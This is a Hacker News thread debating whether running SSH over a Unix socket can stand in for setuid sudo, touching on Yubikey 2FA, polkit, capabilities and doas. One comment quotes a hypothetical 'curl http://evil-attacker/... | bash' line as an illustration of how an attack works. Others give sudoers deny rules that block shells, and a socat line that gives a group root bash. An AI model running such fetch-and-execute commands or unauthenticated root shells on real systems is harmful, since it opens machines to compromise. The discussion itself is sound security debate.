6 ms·
Sudo without a setuid binary or SSH over a Unix socket
- stephenr 3y agoI might be missing something but doesn't this give you net worse security, because it allows running any arbitrary command with zero confirmation or authentication. Sudo by default requires users to authenticate with their own password to perform the action (with a grace period for multiple invocations in the same shell within a given timeframe) This also seems like it would then allow those same users to ssh directly to root from a remote connection (ie consider users who ssh to their own account on a machine and need sudo on it; this then allows them to ssh straight to root)
- fsniper 3y agoMore than that, this removes sudo's capabilities to limit users by commands and hosts, opens a unix device based attack vector, probably a new process.. Surely, author assumes sudo would be a blanket root, and this assumption have merit most of the time. I can't recall how many times I had to argue about de-merits of using "sudo su".
- deleted 3y ago[deleted]
- 1letterunixname 3y agoUgh. People can't seem to figure out "sudo -i", or if so, do it to evade logging on monitored systems that should be locked-down. # Prevent the trivial `sudo su -` # Cmd_Alias SU = /usr/bin/su, /bin/su # %wheel ALL=(ALL) NOPASSWD: ALL, !SU And also, unfortunately, because of sudo's path-based "security" < 1.9.10 without regex matching, there's no sensible way to enforce who can run what except by lengthy allow lists and denying everything else. # Prevent trivial interactive shell spawning # Problem/feature: this allows `sudo chroot / bash -li` # Cmd_Alias SBIN = /usr/sbin/*, /sbin/* # Cmd_Alias SHELLS = /bin/bash, /bin/bash-static, /bin/busybox, /bin/busybox-static, /bin/csh, /bin/csh-static, /bin/dash, /bin/dash-static, /bin/fish, /bin/fish-static, /bin/ksh, /bin/ksh-static, /bin/ksh93, /bin/ksh93-static, /bin/lksh, /bin/lksh-static, /bin/mksh, /bin/mksh-static, /bin/pdksh, /bin/pdksh-static, /bin/rbash, /bin/rbash-static, /bin/rbusybox, /bin/rbusybox-static, /bin/rcsh, /bin/rcsh-static, /bin/rdash, /bin/rdash-static, /bin/rfish, /bin/rfish-static, /bin/rksh, /bin/rksh-static, /bin/rksh93, /bin/rksh93-static, /bin/rlksh, /bin/rlksh-static, /bin/rmksh, /bin/rmksh-static, /bin/rpdksh, /bin/rpdksh-static, /bin/rtcsh, /bin/rtcsh-static, /bin/rzsh, /bin/rzsh-static, /bin/sh, /bin/sh-static, /bin/tcsh, /bin/tcsh-static, /bin/zsh, /bin/zsh-static, /usr/bin/bash, /usr/bin/bash-static, /usr/bin/busybox, /usr/bin/busybox-static, /usr/bin/csh, /usr/bin/csh-static, /usr/bin/dash, /usr/bin/dash-static, /usr/bin/fish, /usr/bin/fish-static, /usr/bin/ksh, /usr/bin/ksh-static, /usr/bin/ksh93, /usr/bin/ksh93-static, /usr/bin/lksh, /usr/bin/lksh-static, /usr/bin/mksh, /usr/bin/mksh-static, /usr/bin/pdksh, /usr/bin/pdksh-static, /usr/bin/rbash, /usr/bin/rbash-static, /usr/bin/rbusybox, /usr/bin/rbusybox-static, /usr/bin/rcsh, /usr/bin/rcsh-static, /usr/bin/rdash, /usr/bin/rdash-static, /usr/bin/rfish, /usr/bin/rfish-static, /usr/bin/rksh, /usr/bin/rksh-static, /usr/bin/rksh93, /usr/bin/rksh93-static, /usr/bin/rlksh, /usr/bin/rlksh-static, /usr/bin/rmksh, /usr/bin/rmksh-static, /usr/bin/rpdksh, /usr/bin/rpdksh-static, /usr/bin/rtcsh, /usr/bin/rtcsh-static, /usr/bin/rzsh, /usr/bin/rzsh-static, /usr/bin/sh, /usr/bin/sh-static, /usr/bin/tcsh, /usr/bin/tcsh-static, /usr/bin/zsh, /usr/bin/zsh-static, /usr/local/bin/bash, /usr/local/bin/bash-static, /usr/local/bin/busybox, /usr/local/bin/busybox-static, /usr/local/bin/csh, /usr/local/bin/csh-static, /usr/local/bin/dash, /usr/local/bin/dash-static, /usr/local/bin/fish, /usr/local/bin/fish-static, /usr/local/bin/ksh, /usr/local/bin/ksh-static, /usr/local/bin/ksh93, /usr/local/bin/ksh93-static, /usr/local/bin/lksh, /usr/local/bin/lksh-static, /usr/local/bin/mksh, /usr/local/bin/mksh-static, /usr/local/bin/pdksh, /usr/local/bin/pdksh-static, /usr/local/bin/rbash, /usr/local/bin/rbash-static, /usr/local/bin/rbusybox, /usr/local/bin/rbusybox-static, /usr/local/bin/rcsh, /usr/local/bin/rcsh-static, /usr/local/bin/rdash, /usr/local/bin/rdash-static, /usr/local/bin/rfish, /usr/local/bin/rfish-static, /usr/local/bin/rksh, /usr/local/bin/rksh-static, /usr/local/bin/rksh93, /usr/local/bin/rksh93-static, /usr/local/bin/rlksh, /usr/local/bin/rlksh-static, /usr/local/bin/rmksh, /usr/local/bin/rmksh-static, /usr/local/bin/rpdksh, /usr/local/bin/rpdksh-static, /usr/local/bin/rtcsh, /usr/local/bin/rtcsh-static, /usr/local/bin/rzsh, /usr/local/bin/rzsh-static, /usr/local/bin/sh, /usr/local/bin/sh-static, /usr/local/bin/tcsh, /usr/local/bin/tcsh-static, /usr/local/bin/zsh, /usr/local/bin/zsh-static # Cmd_Alias SAFER_BIN = /usr/bin/*, /bin/*, !SHELLS, !/usr/bin/env, !/bin/env, !/usr/bin/su, !/bin/su, !/usr/bin/sudo, !/bin/sudo # %wheel ALL=(ALL) NOPASSWD: !ALL, SBIN, SAFER_BIN With sudo 1.9.12+, the INTERCEPT feature attempts to police exec() further. (Unfortunately, most distros use old versions of sudo so this isn't a turnkey option.)
- fsniper 3y agoI agree. sudo is no saint security wise. There are lot's of cases where security may be jeopardized. Intentionally or not. My argument is based on the fact that being in your own user shell and having to prepend "sudo" for anything that really requires any other user permissions creates a "virtual psychological barrier" where you need to be "more aware" of your surroundings. Being in a root shell makes this barrier go away and contextual information may not be leveraged well by most humans. And this leads to unnecessary risks.
- TacticalCoder 3y ago> This also seems like it would then allow those same users to ssh directly to root from a remote connection I am using something a bit different than what TFA explains, but it's not dissimilar. There's no sudo on my machine. The password to get to root is, on purpose, super long and very obnoxious: it's not realistic to type it every time I need root. So I do I gain root access? Through a private LAN on which there are only two machines: my main machine and my "laptop for root access". So I have a laptop that has no Internet access and that is only connected, through a private LAN, to my main machine. I "ssh root@desktop" and then I tap my Yubikey (SSH is configured to refuse password login and the only key is protected by a Yubikey). Does it mean "ssh root@..." is allowed on the desktop? Well, yes but: - there's no password authentication allowed - the only public key allowed has the matching private key on a Yubikey - the Yubikey is hooked to a laptop - the desktop has a firewall only allowing SSH in from my laptop's IP So I'm not too concerned. So there's never any sudo or any su with a terminal opened on the desktop. And I don't need to trust anything I see on the desktop: I only trust what I on my laptop, after ssh'ing using the Yubikey to the desktop. Because here's the thing: if an attacker has an exploit and can run sudo on my machine, then the terminal where I do "sudo apt-get install xcalc" might has well be "sudo curl http://evil-attacker/privilege-escalation-to-backdoor http://evil-attacker/privilege-escalation-to-backdoor | bash" (while pretending, on screen, it's "sudo apt-get install xcalc"). And then my Yubikey asks me to click, I click (because I want to install xcalc). And I'm owned. While good luck doing that on a laptop that is only ever used to establish an SSH session. I'm also using lots of the hardened kernel and boot parameters (like preventing users from seeing other users' processes) and other little tricks explained in many hardening guides. Set that up about ten months ago now (don't remember exactly). It's working flawlessly. Not a single issue. P.S: it's just a proof of concept... But I think that requiring to tap a Yubikey every single time you want to do something as root is something that should be envisaged/discussed more and it was great to read TFA doing it too.
- dgl 3y ago> While good luck doing that on a laptop that is only ever used to establish an SSH session. [...] > Set that up about ten months ago now (don't remember exactly). It's working flawlessly. Not a single issue. So now your laptop hasn't had security updates for 10 months? Things like this are part of the reason I did the research in https://dgl.cx/2023/09/ansi-terminal-security https://dgl.cx/2023/09/ansi-terminal-security. It also funny that you've reinvented basically a serial console, but in a modern way, with a second factor. (You could actually just use a physical terminal with S/Key or something.) > P.S: it's just a proof of concept... But I think that requiring to tap a Yubikey every single time you want to do something as root is something that should be envisaged/discussed more and it was great to read TFA doing it too. Agreed, https://neilzone.co.uk/2022/11/using-a-yubikey-or-other-security-key-for-sudo-via-pam/ https://neilzone.co.uk/2022/11/using-a-yubikey-or-other-secu... is another potential option for this.
- jerf 3y agoIt also seems to me to have an awful lot of security-sensitive code in the critical path that is not needed for this use case. Granted, a break in OpenSSH will get a lot of attention, but if we're operating at a level of paranoia where this is a relevant part of securing a system, that seems like the bad kind of overkill.
- cperciva 3y agoThe original article has load-bearing typography in the title, which was lost when it was posted here. dang, can you add some punctuation to change the title to "Sudo without a setuid binary; or, SSH over a Unix socket"?
- yuriks 3y agoI thought so too, but it turns out the load bearing typography is also missing in the blog itself. What do HN rules say in this case?
- deleted 3y ago[deleted]
- Modified3019 3y agoGoogle search has zero results for "load-bearing typography"/"loadbearing typography"/"load bearing typography" What do you mean by this?
- sproingie 3y agoIt’s a cheeky way of saying that the punctuation is doing a lot of work in making the phrase understandable.
- Modified3019 3y agoAh, that makes more sense. I rather like the phrase. I got confused because the topic of typography has something called Left/Right Side Bearing, which I guess I was trying to cram together with the implication that page "load"ing was affected somehow.
- est 3y agoOh I thought you can operate a Linux box after deleting the sudo binary. I was confused to see the author trying to "sudo systemctl daemon-reload" In really this is just systemd running root and spawn a managed child process `sshd` and allows a unix socket connection with a shell tty attached to it. All this seems like overcomplecated engineering? Can we just simply spawn child shell from a root process instead? How about we give it alias and call it.... wait for it ... sudo ?
- gizmo686 3y agoIronically, the sudo in that command is unnecessary. If you ommit it, systemctl will still send the command to the systemd daemon. The daemon will check the polkit policy. On my system, the policy would cause me to be prompted for a password; if I pass the password check, systemd will perform the requested action. No setuid needed!
- gizmo686 3y agoIn a broad sense, this is the direction that Linux based systems are going. Specifically, replacing usages of setuid with sending commands to a process already running as root to execute on your behalf. For instance, try running "systemctl stop sshd" as a non-root admin user. You will be prompted for a password, and ultimately able to do it; but no setuid binary is involved. Instead, your command is sent to an already running daemon, which performs its own policy checks to see if you are allowed to proceed, before executing the action on your behalf. At a glance, this sounds a lot like how setuid binaries work. The main difference is that setuid processes inherit a lot of state from the calling process. As a result, there have been a lot of attacks based on setting up the environment before calling a setuid program. The message passing approach removes that entire class of attacks. In the case of a sudo replacement, you often want that state to pass through. However, a message passing sudo can still pass the state, and have the daemon set it when spawning the requested command. Since you can pass file descriptors between processes, you don't even need to take a performance hit (other than possibly increase overhead in the time before execution starts)
- nullc 3y agoThat message passing interface is still an attack surface, however... and one that is often a little harder to explore, the attacker isn't required to use the intended calling binary and can deviate from the protocol in arbitrary ways. Sometimes this has the effect of concealing the security properties. E.g. I had a quite unwelcome discovery that on Fedora a number of years ago where arbitrary users could reset the system time as a result of desktop affordances that were misplaced on a multiuser system and weren't locked out by traditional security measures. So, e.g. when some message-passing driven elevation thing adds intentionally adds new interface it may be pretty opaque to the system operator even compared to a SUID binary (which at a least ought to have commandline help!). Aside, the real merits of sudo are command filtering and logging. The way random desktops use it today is pretty much an abuse of the tool: might as well give the user the ability to execute suid copy of bash. :)
- lostmsu 3y agoTo my surprise I just faced a similar problem on Windows when I was implementing additional user-based isolation for my p2p cloud gaming service (the main one is VM boundary). Apparently when you create a process as another user on Windows by default the new process inherits parent's environment variables even though they belong to different users. That includes user-specific paths such as $TMP or $APPDATA. So most programs immediately fail because they try to write to the temp directory of parent's user. Solved this with a combination of LoadUserProfile and GetEnvironmentBlock.
- throw0101b 3y agoHaving user-level credentials, whereby you talk to an already-running 'higher-level' process to give you another set of credentials reminds me of Plan 9's factotum(4): * http://man.9front.org/4/factotum http://man.9front.org/4/factotum * https://en.wikipedia.org/wiki/Factotum_(software) https://en.wikipedia.org/wiki/Factotum_(software) * http://9p.io/sys/doc/auth.html http://9p.io/sys/doc/auth.html A bit Kerberos-like.
- alberth 3y agodoas I’m surprised ‘doas’ has not been mentioned. It’s essentially a safer version of sudo, created by the OpenBSD folks (and has ports for other OS). https://man.openbsd.org/doas.1 https://man.openbsd.org/doas.1
- somat 3y agodoas still uses the suid mechanism. The whole point of the article was how to escalate permissions without suid.
- rany_ 3y agosshd still needs to run as root for that, this is pointless. Maybe some people think that message passing to a root process is less of an attack surface, but I don't think there's actually a meaningful difference.
- 1letterunixname 3y agoI like the idea in theory. Even in the presence of SELinux and on UNIXes as far back as SunOS, I've always felt uncomfortable with setgid and setsid binaries and would like to mount all the things nosuid. Also, a general complaint is that sudo is far too configurable. The danger though is being locked out on alternative init systems or those that can't run su because there's no root password or the root password is unavailable.
- o11c 3y agoThere's improper quoting in the `sudohost` function. You have to use either `printf %q` or `${var@Q}` to properly quote a variable or array into a single string (appending `@Q` is perhaps the only time `${*}` or `${arr[*]}` is safe to use). If you're using a deficient shell, you can badly implement `printf %q` via `sed` (but beware of newlines). I'm skeptical that `cd` is a reasonable/sufficient thing to do given how many other parts of process environment get dropped, or for that matter that `SHELL` is ever a safe thing to reference. *** Regarding the general advisability of this approach ... using normal `ssh root@remotehost` is strictly more secure than `ssh user@remotehost` and then using `sudo` (since it cuts the attack surface in half), contrary to the common FUD (which dates to a time when you couldn't expect people to use keys). But this article's approach seems worse than `sudo` in at least some ways.
- philsnow 3y agoI have been hankering for this kind of thing but for remote filesystem sharing. My specific use case is having separate NAS and compute machines in my homelab, and I have workloads running in nomad/k8s/docker-swarm/whatever on the compute machines, and I want the workloads to keep their state on the NAS. NFS is this mire of needing users and groups to be the same everywhere (possibly also needing to configure some translation layer(s)). MacOS starts numbering users at 501, most linux distros I'm aware of start at uid 1000, and I don't know, can you even mount NFS on windows? Most of the guides I've seen completely punt on any kind of homelab authentication, just advising to squash all users to nobody and have everything on the share be 0777 or whatever completely open facl that equates to. With NFS, you don't authenticate as a storage consumer directly to the remote storage, you authenticate as a user to the OS and it deals with the storage on your behalf, but this seems like a layering/concerns violation. From what I can tell SMB is a bit better because your client authenticates directly to the SMB server, but I have never figured out all the Windows-specific identity, groups, ACLs, etc. All of these are kind of heavyweight for certain use cases too -- it would be handy to have userspace remote filesystems available on microcontrollers, but I don't necessarily want to run a tiny linux on them. But.. if clients could sign remote storage connection requests with private keys and then that lets them mount whatever storage is on the other end with FUSE or something similar for microcontrollers.. then access to remote storage is completely agnostic of operating system.
- mattpallissard 3y agoNFS has -o sec=krb5p which uses Kerberos principles, which can be mapped to accounts server side. Additionally, the the traffic is encrypted. OpenAFS also uses kerberos for auth, but has a separate 'aklog' for AFS tokens on top of that. It also solved permissions in an interesting way by completely foregoing OS permissions. This allowed them to have more fine grained than POSIX specified and made the permissions identical across platforms.
- philsnow 3y agoInteresting; in a past life my school actually used AFS and had competent admins for it, and the experience was good (although I stayed very much “on the beaten path”). It seems like a bit more of a lift to go with Kerberos than even using something like LDAP in my home network for user provisioning. My whole screed above comes from reluctance to set up freeIPA.
- enasterosophes 3y agoI'm intrigued by the idea, but I think this only replaces sudo, and set[ug]id is related but not identical? What I am thinking of is that set[ug]id should already be superseded by capabilities(7). Now, I know CAP_SYS_ADMIN gets flak for being too overpowered and not being better than sudo. However, there are other capabilities which are sometimes sufficient. For example, slock used to require setuid, but now it is sufficent to add CAP_DAC_READ_SEARCH and CAP_SYS_RESOURCE to the generated binary. So, as cool as the idea is, when it comes to setuid/setgid, I don't see what it gives me relative to capabilities. The more interesting use case, from where I'm sitting, is that it makes it easy to use a yubikey for 2FA access to sudo, whereas until now I only heard about needing to muck around with PAM. Edit: Ah, I just re-read the lede and I think I misunderstood what the article was going for. It's not talking about replacing set[ug]id in general, it's using the stigma of set[ug]id as a motivation for replacing sudo. That's probably not the way I would have chosen to motivate the technique, but I can also see that my above criticism was ill-premised.
- a_t48 3y agoThis is neat. I recently needed to run host/docker commands within a container (an automated test framework that I was deploying via container for simplicity) and struggled to think of a way to do it at first, until realizing that I could of course just SSH to localhost . I’ll have to dig through this to clean up my setup.
- deleted 3y ago[deleted]
- supriyo-biswas 3y agoThis is also similar to how root used to work on Android devices. Since SElinux policies were enforced preventing the su binary from becoming root through setuid/setgid, a daemon used to start up at boot, and the su command was simply a proxy that connected to the daemon whenever called by an app. However I wouldn’t call for the deprecation of setuid entirely: ping and traceroute still use them to set up raw sockets to send out IP data grams with custom values.
- charcircuit 3y agoThere could be a ping / traceroute service the ping and trace route commands connect to. For security the user the service runs under should not have full root, but only CAP_NET_RAW. systemd even lets you make services that start up when recieving a message over dbus so you can avoid always having the service always running.
- globular-toast 3y agoYou can allow raw sockets using capabilities.
- dgl 3y agoPing and traceroute really shouldn’t need setuid on Linux anymore. tracepath uses an option to set the TTL and works without setuid (although options like TCP tracerouting aren’t possible with that, but as mentioned that can use CAP_NET_RAW). ping can also use a similar API to run fine unprivileged (fairly sure Fedora uses that already to have a non-setuid ping).
- mihaigalos 3y agoI'm using a Yubikey for both sudo and ssh 2FA: # /etc/pam.d/sudo auth optional pam_faildelay.so delay=5000000 auth [success=1 default=ignore] pam_yubico.so authfile=/home/user/auth_file id=16 session required pam_env.so readenv=1 user_readenv=0 session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0 @include common-auth @include common-account @include common-session-noninteractive # /etc/pam.d/sshd auth optional pam_faildelay.so delay=5000000 auth requisite pam_yubico.so authfile=/home/user/auth_file id=16 debug account include base-account auth required pam_env.so auth required pam_nologin.so successok
- mihaigalos 3y agoSidenote: This requires internet access. I'm considering selfhosting a Yubikey auth server and disabling ssh on it.
- Thorrez 3y agoWhy does it require internet access? If you use a private key stored on your yubikey and a public key stored in your ssh configs, that shouldn't require internet access.
- mihaigalos 3y agoBecause there is a Yubico server involved in the auth process. No internet access means you cannot authenticate.
- Thorrez 3y agoWhy is there a Yubico server involved? Why can't it use public and private keys? What does the Yubico server do? Hopefully this isn't using Yubico OTP, which is phishable: https://developers.yubico.com/OTP/ https://developers.yubico.com/OTP/
- jasomill 3y ago
- cedws 3y agoJust wanted to share my blog post about why I think sudo is broken: https://cedwards.xyz/sudo-is-broken/ https://cedwards.xyz/sudo-is-broken/
- zamalek 3y ago> I am of the opinion that setuid/setgid binaries are a UNIX legacy that should be deprecated. Hmmm. I can agree with this pretty quickly at a superficial level. suid is extremely overused, however, I'm currently building a purpose-built container/sandbox runtime and I can't see how subordinate IDs (/etc/sub[ug]id) would work. Unless that portion of shadowutils was moved into the kernel? I can't see Linus being on board with that at all. Some sort of ACL for which users a user+process is allowed to become might be useful, but that's what shadowutils is (mostly) doing anyway.
- zokier 3y agoWhile I appreciate the idea, I think a purpose-built daemon would be significant improvement here. You could use SCM_CREDENTIALS with unix sockets for kernel-backed authentication, avoiding the complexities of key managment etc, and you could pass file-descriptors (stdin/out/err or tty) of the elevated child from the daemon to the caller, avoiding potentially expensive encryption and copying data. Of course there is also the benefit of needing far smaller code-base here, hopefully making things more robust
- zokier 3y agoactually thinking this more, is having another auth layer absolutely necessary? kernel already does check that the user has access to the socket, that should be enough for poc. basically could you use just socat as your "sudo", something like socat UNIX-LISTEN:/tmp/socat-sudo,group=wheel,mode=660,fork EXEC:bash wrapped into appropriate systemd service unit (and using better path for the socket)? might want to add some extra flags to make sure ptys etc are handled nicely, but still, this would allow privilege escalation in somewhat controlled manner